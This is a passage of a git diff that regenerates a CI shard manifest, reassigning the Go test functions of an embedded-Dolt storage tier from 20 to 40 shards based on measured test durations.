+- .../ci/embedded_storage_test_durations.json | 760 ++++++++-------- .../ci/gen_embedded_storage_shard_manifest.py | 2 +- scripts/shard_manifest_test.go | 4 +- 10 files changed, 905 insertions(+), 799 deletions(-) diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 0b2f4d259..7e9f2991d 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -114,12 +114,12 @@ # # Format: # -# 20-shard split for the Bazel-only embedded-Dolt storage tier +# 40-shard split for the Bazel-only embedded-Dolt storage tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/embedded_storage_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 20 +# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 40 # --weights=duration --write after adding or removing Test* functions in # internal/storage/embeddeddolt/*_test.go. --write is incremental: it # keeps every already-assigned test on its current shard and only places @@ -134,420 +134,443 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -20 1 TestCountsWithMissingWispPlaneTables -20 1 TestCreateBatchFastPathsMatchPerRow_Embedded -20 1 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween -20 1 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder -20 1 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle -20 1 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules -20 1 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue -20 1 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates -20 1 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry -20 1 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor -20 1 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue -20 1 TestIgnoredCursorHealResumeRespectsOperatorOverride -20 1 TestReadyCounterContract -20 1 TestReclaimRefusesForeignReplicaLease +40 1 TestLifecycleCloseReopenContract -20 2 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed -20 2 TestEmbeddedConfigCommitStagesConfig -20 2 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest -20 2 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent -20 2 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps -20 2 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering -20 2 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes -20 2 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder -20 2 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne -20 2 TestEmbeddedRelationsRefusesTheZeroDirection -20 2 TestEmbeddedReopenIssueCategorySemantics -20 2 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent -20 2 TestEventsJournalAccessor -20 2 TestGetDependentRecordsEmbedded -20 2 TestLifecycleCloseReopenContract -20 2 TestOpenReturnsCachedStore -20 2 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials +40 2 TestBatchApplyContract -20 3 TestBatchApplyContract -20 3 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget -20 3 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate -20 3 TestEmbeddedDependencyEditorRefusalWritesNothing -20 3 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp -20 3 TestEmbeddedIssueOperationsRequestValuesAreNotMutated -20 3 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance -20 3 TestEmbeddedReaderDoesNotMutateTheCallerRequest -20 3 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress -20 3 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows -20 3 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary -20 3 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff -20 3 TestGetIssueCommentsPageEmbedded -20 3 TestGetReadyWorkIncludeEphemeralAppliesWispFilters -20 3 TestJournalContract -20 3 TestSearchWithMissingWispPlaneTables +40 3 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase +40 3 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase +40 3 TestBuildDSN_NoDatabase +40 3 TestBuildDSN_SpacesInPath +40 3 TestBuildDSN_WithDatabase +40 3 TestCleanGitRemoteCacheGarbage +40 3 TestCleanGitRemoteCacheGarbage_NoCacheDir +40 3 TestCleanGitRemoteCacheGarbage_Throttled +40 3 TestCommitAllOutOfBandChangeAndHonestNoOp +40 3 TestCreateBatchEquivalencePartsCoverEveryScenario +40 3 TestCreateBatchFastPathsMatchPerRowLarge_Embedded +40 3 TestCrossRecordInvariantContract +40 3 TestDepRekeyMarkerStillInIgnoredSeries +40 3 TestDoltCommitResponseLossIsIndeterminate +40 3 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations +40 3 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore +40 3 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites +40 3 TestEmbeddedSQLCommitResponseLossIsIndeterminate +40 3 TestEpochContract +40 3 TestExpectedRevisionContract +40 3 TestGitRefPinsMatchDolt +40 3 TestHasRepository +40 3 TestHelperProcess +40 3 TestLargeBatchApplyStatementCounts712_Embedded +40 3 TestLargeGraphCreateTiming_Embedded +40 3 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance +40 3 TestLenientGateWarningBody_ShapedDecisions +40 3 TestLenientGateWarning_ComposedOutput +40 3 TestMain +40 3 TestPushCommitsPendingChangesFirst +40 3 TestRemoteEntryPointsUseVersionControlOps +40 3 TestRetentionContract +40 3 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed +40 3 TestTransactionCleanupAfterSQLCommitIsIndeterminate +40 3 TestTransactionCleanupBeforeSQLCommitRemainsDefinite +40 3 TestUnknownProvenanceLeaseStaysReclaimable -20 4 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes -20 4 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded -20 4 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor -20 4 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses -20 4 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose -20 4 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge -20 4 TestEmbeddedMergeAndSettleReportsOperatorConflicts -20 4 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing -20 4 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet -20 4 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength -20 4 TestEventsSinceEmbedded -20 4 TestIgnoredCursorHealConvergesFromEveryCrashState -20 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -20 4 TestReleaserContract -20 4 TestRemoteGitDataRefOnEngine -20 4 TestUpdateMergeOps_DoltEngine_TwoIssues -20 4 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword +40 4 TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded +40 4 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +40 4 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay +40 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -20 5 TestCommitAllOutOfBandChangeAndHonestNoOp -20 5 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles -20 5 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure -20 5 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone -20 5 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge -20 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing -20 5 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure -20 5 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender -20 5 TestEmbeddedMergeAndSettleMetadataConflict -20 5 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch -20 5 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt -20 5 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary -20 5 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants -20 5 TestEmbeddedRelationsResolvesAWispAnchor -20 5 TestIgnoredCursorHealNeverResurrectsRolledBackVersions -20 5 TestLifecycleCreateContract -20 5 TestPushCommitsPendingChangesFirst +40 5 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState +40 5 TestEmbeddedIssueOperationsCloseAndReopenAWisp +40 5 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder +40 5 TestWithPeerAuth -20 6 TestConcurrencyMultiProcess -20 6 TestConcurrentOpenReturnsCached -20 6 TestDualWriteFixtureKitIsWired -20 6 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed -20 6 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt -20 6 TestEmbeddedDependencyEditorAcceptsADiamond -20 6 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape -20 6 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone -20 6 TestEmbeddedLenientOpenWarning_DataBehind -20 6 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder -20 6 TestEmbeddedReaderReadyDeferredAndEphemeralGates -20 6 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer -20 6 TestEventsJournalRestartAndRetentionBoundary -20 6 TestGraphCounterContract -20 6 TestGraphWalkPlansHonorJoinHints -20 6 TestHistoryPresenceContract -20 6 TestPromoteClearsNoHistory -20 6 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery +40 6 TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded +40 6 TestEmbeddedMergeAndSettleFKCascadeRepair +40 6 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict +40 6 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates +40 6 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection +40 6 TestPromoteStillWorksWithCollisionGuard +40 6 TestSearchWithMissingWispPlaneTables -20 7 TestCreateIssuesRejectStaleUpserts -20 7 TestDecryptPassword_KeyMismatchNamesTheLocalKey -20 7 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex -20 7 TestEmbeddedDependencyEditorSnapshotsTheRequest -20 7 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn -20 7 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps -20 7 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged -20 7 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn -20 7 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary -20 7 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage -20 7 TestEmbeddedRelationsDirectionSelectsTheInverseGraph -20 7 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether -20 7 TestEmbeddedRelationsResolvesTheAnchorIDExactly -20 7 TestGetDependentRecordsForIssuesEmbedded -20 7 TestHeartbeatRejectsWispEmbedded -20 7 TestPromoteStillWorksWithCollisionGuard -20 7 TestUpdateMergeOps_DoltEngine -20 7 TestWithPeerAuth +40 7 TestConcurrencyMultiProcess +40 7 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded +40 7 TestEmbeddedDependencyEditorAcceptsAnExternalTarget +40 7 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked +40 7 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates +40 7 TestEmbeddedLenientOpenWarning_DataBehind +40 7 TestEmbeddedRelationsLeavesTheCallersRequestAlone +40 7 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -20 8 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting -20 8 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion -20 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches -20 8 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState -20 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress -20 8 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints -20 8 TestEmbeddedReaderListEmptyPageIsWellFormed -20 8 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix -20 8 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped -20 8 TestEmbeddedRelationsRefusesAnUnusableTypeFilter -20 8 TestEmbeddedRoleFixtureKitHooksAreUsable -20 8 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit -20 8 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges -20 8 TestGetNextChildID -20 8 TestListWisps -20 8 TestPreviewStoreRefusesLocalMetadataWrite -20 8 TestReclaimAnyReplicaOverride -20 8 TestStatsReporterContract -20 8 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials +40 8 TestDeleterContract +40 8 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane +40 8 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge +40 8 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows +40 8 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether +40 8 TestEmbeddedReopenIssueCategorySemantics +40 8 TestGetIssueCommentsPageEmbedded +40 8 TestListWisps -20 9 TestDeleterContract -20 9 TestDualWriteContractFlagOff -20 9 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds -20 9 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies -20 9 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants -20 9 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges -20 9 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest -20 9 TestEmbeddedReaderListMaxRowsIsHonored -20 9 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse -20 9 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection -20 9 TestForeignSkipDetailIsBounded -20 9 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore -20 9 TestLeaseLifecycleEmbedded -20 9 TestOpenAfterCloseCreatesNewStore -20 9 TestPartitionWispIDs -20 9 TestReadyWorkWithMissingDeferredParentTables -20 9 TestRemoteVerbsPresentStoredPeerCredentials -20 9 TestRunInTransactionPostCommitStageFailureIsIndeterminate -20 9 TestWithPeerAuth_MissingRemoteFailsClosed +40 9 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle +40 9 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent +40 9 TestEmbeddedDependencyEditorSnapshotsTheRequest +40 9 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation +40 9 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +40 9 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +40 9 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps +40 9 TestPristineEmbeddedDoltFixtureRelocatesPrefixes +40 9 TestUpdateMergeOps_DoltEngine -20 10 TestEdgeReaderContract -20 10 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape -20 10 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState -20 10 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes -20 10 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes -20 10 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace -20 10 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel -20 10 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField -20 10 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers -20 10 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal -20 10 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape -20 10 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows -20 10 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset -20 10 TestEmbeddedRelationsLeavesTheCallersRequestAlone -20 10 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing -20 10 TestEventsJournalPruneNeverSplitsASkewedPair -20 10 TestGitRefPinsMatchDolt -20 10 TestIsBlockedBatchEmbedded -20 10 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance -20 10 TestMain -20 10 TestRetentionContract +40 10 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween +40 10 TestEmbeddedDependencyEditorRemoveIsIdempotent +40 10 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix +40 10 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes +40 10 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +40 10 TestGraphCounterContract +40 10 TestIgnoredCursorHealRespectsOperatorOverride +40 10 TestRunInTransactionPostCommitStageFailureIsIndeterminate +40 10 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient -20 11 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory -20 11 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy -20 11 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex -20 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments -20 11 TestEmbeddedClaimerRefusesAWispIDAsNotFound -20 11 TestEmbeddedDependencyEditorRemoveIsIdempotent -20 11 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion -20 11 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase -20 11 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane -20 11 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides -20 11 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters -20 11 TestEmbeddedReaderReadyLimitBoundary -20 11 TestEmbeddedReadyClaimerEmptyFrontIsNormal -20 11 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps -20 11 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern -20 11 TestLifecycleUpdateContract -20 11 TestReadyWorkStatementBudget -20 11 TestRemoteVerbPlainRemoteKeepsAmbientEnv -20 11 TestRenameLabelMintsOneVersionPerTouchedBead +40 11 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges +40 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments +40 11 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches +40 11 TestEmbeddedMergeAndSettleRefusesUnknownTable +40 11 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset +40 11 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin +40 11 TestEventsJournal_ActorMatrixOnEmbedded +40 11 TestMemoriesContract +40 11 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored -20 12 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase -20 12 TestBuildDSN_SpacesInPath -20 12 TestCleanGitRemoteCacheGarbage_NoCacheDir -20 12 TestCrossRecordInvariantContract -20 12 TestCycleDetectorContract -20 12 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch -20 12 TestDualWriteContract -20 12 TestEmbeddedBlockedRecheckRecordsUnblockingWrites -20 12 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded -20 12 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane -20 12 TestEmbeddedCommitToleratesNothingToCommit -20 12 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType -20 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove -20 12 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations -20 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape -20 12 TestEmbeddedIssueOperationsCloseAndReopenAWisp -20 12 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge -20 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists -20 12 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities -20 12 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit -20 12 TestEmbeddedSQLCommitResponseLossIsIndeterminate -20 12 TestEventsAutoPruneBoundsTheJournalToTheFloors -20 12 TestHasRepository -20 12 TestHistory_NullTextColumns -20 12 TestLenientGateWarningBody_ShapedDecisions -20 12 TestMetadataCASContract -20 12 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed -20 12 TestWorkspaceConfigContract +40 12 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +40 12 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne +40 12 TestEmbeddedClaimerRefusesAWispIDAsNotFound +40 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove +40 12 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape +40 12 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID +40 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists +40 12 TestHistoryPresenceContract +40 12 TestLifecycleUpdateContract -20 13 TestAddDependency -20 13 TestAddLabel -20 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing -20 13 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder -20 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget -20 13 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge -20 13 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent -20 13 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp -20 13 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers -20 13 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables -20 13 TestEmbeddedIssueOperationsCreateAggregatesRelations -20 13 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing -20 13 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded -20 13 TestEmbeddedRecomputeAllBlockedWiring -20 13 TestHeartbeatMatchesActorAcrossSpellingEmbedded -20 13 TestLegacyTrackedIgnoredCursorHealsOnOpen -20 13 TestMemoriesContract -20 13 TestQuerierContract -20 13 TestTreeWalkerContract +40 13 TestEmbeddedDepRekeyConvergesRenameChain +40 13 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges +40 13 TestEmbeddedDependencyEditorRefusesAGhostSource +40 13 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure +40 13 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim +40 13 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent +40 13 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape +40 13 TestEmbeddedRelationsDirectionSelectsTheInverseGraph +40 13 TestGraphWalkPlansHonorJoinHints -20 14 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest -20 14 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed -20 14 TestEmbeddedDepRekeyMergesFreshDuplicateEdges -20 14 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes -20 14 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes -20 14 TestEmbeddedDependencyEditorRefusesAGhostSource -20 14 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle -20 14 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked -20 14 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants -20 14 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse -20 14 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane -20 14 TestEmbeddedGetMergeBlockersOnAQuietStore -20 14 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones -20 14 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict -20 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse -20 14 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree -20 14 TestGetLabels -20 14 TestPristineEmbeddedDoltFixtureRelocatesPrefixes -20 14 TestSchemaAfterInit -20 14 TestWithPeerAuth_RestoresAbsentEnv +40 14 TestBatchCreatorContract +40 14 TestBlockingAnnotatorContract +40 14 TestCountsIncludeWispDependencies +40 14 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults +40 14 TestEmbeddedOpenForRemoteSync_DataBehind +40 14 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage +40 14 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType +40 14 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState +40 14 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest +40 14 TestHistory_NullTextColumns -20 15 TestBuildDSN_NoDatabase -20 15 TestCleanGitRemoteCacheGarbage -20 15 TestCommenterContract -20 15 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra -20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded -20 15 TestDoltCommitResponseLossIsIndeterminate -20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing -20 15 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards -20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest -20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop -20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy -20 15 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane -20 15 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies -20 15 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel -20 15 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext -20 15 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites -20 15 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet -20 15 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType -20 15 TestEmbeddedRenameKeepsDependencyIDsDeterministic -20 15 TestEventsJournalReadRefusesAnInteriorHole -20 15 TestEventsJournal_EmbeddedConcurrentGaplessNoDup -20 15 TestExpectedRevisionContract -20 15 TestLargeBatchApplyStatementCounts356_Embedded -20 15 TestLargeGraphCreateTiming_Embedded -20 15 TestLeaseReclaimerContract -20 15 TestReadyWorkPageTotalFilterMatrix -20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded -20 15 TestRemoteEntryPointsUseVersionControlOps -20 15 TestTransactionCleanupBeforeSQLCommitRemainsDefinite -20 15 TestUpdateIssueType +40 15 TestCreateIssuesRejectStaleUpserts +40 15 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch +40 15 TestEmbeddedGetMergeBlockersOnAQuietStore +40 15 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables +40 15 TestEmbeddedIssueOperationsRequestValuesAreNotMutated +40 15 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse +40 15 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary +40 15 TestGetIssue +40 15 TestLegacyTrackedIgnoredCursorHealsOnOpen +40 15 TestReadyWorkPageTotalFilterMatrix -20 16 TestCreateIssues -20 16 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch -20 16 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne -20 16 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded -20 16 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure -20 16 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction -20 16 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates -20 16 TestEmbeddedMergeAndSettleRefusesUnknownTable -20 16 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation -20 16 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes -20 16 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions -20 16 TestEmbeddedTempRebuildIntermediatesNeverReachHistory -20 16 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded -20 16 TestEventsJournal_ActorMatrixOnEmbedded -20 16 TestIgnoredCursorHealRespectsOperatorOverride -20 16 TestMergeWithStrategy_TheirsResolvesAndCommits -20 16 TestOpenDifferentDirsReturnsDifferentStores -20 16 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -20 16 TestUnknownProvenanceLeaseStaysReclaimable +40 16 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles +40 16 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder +40 16 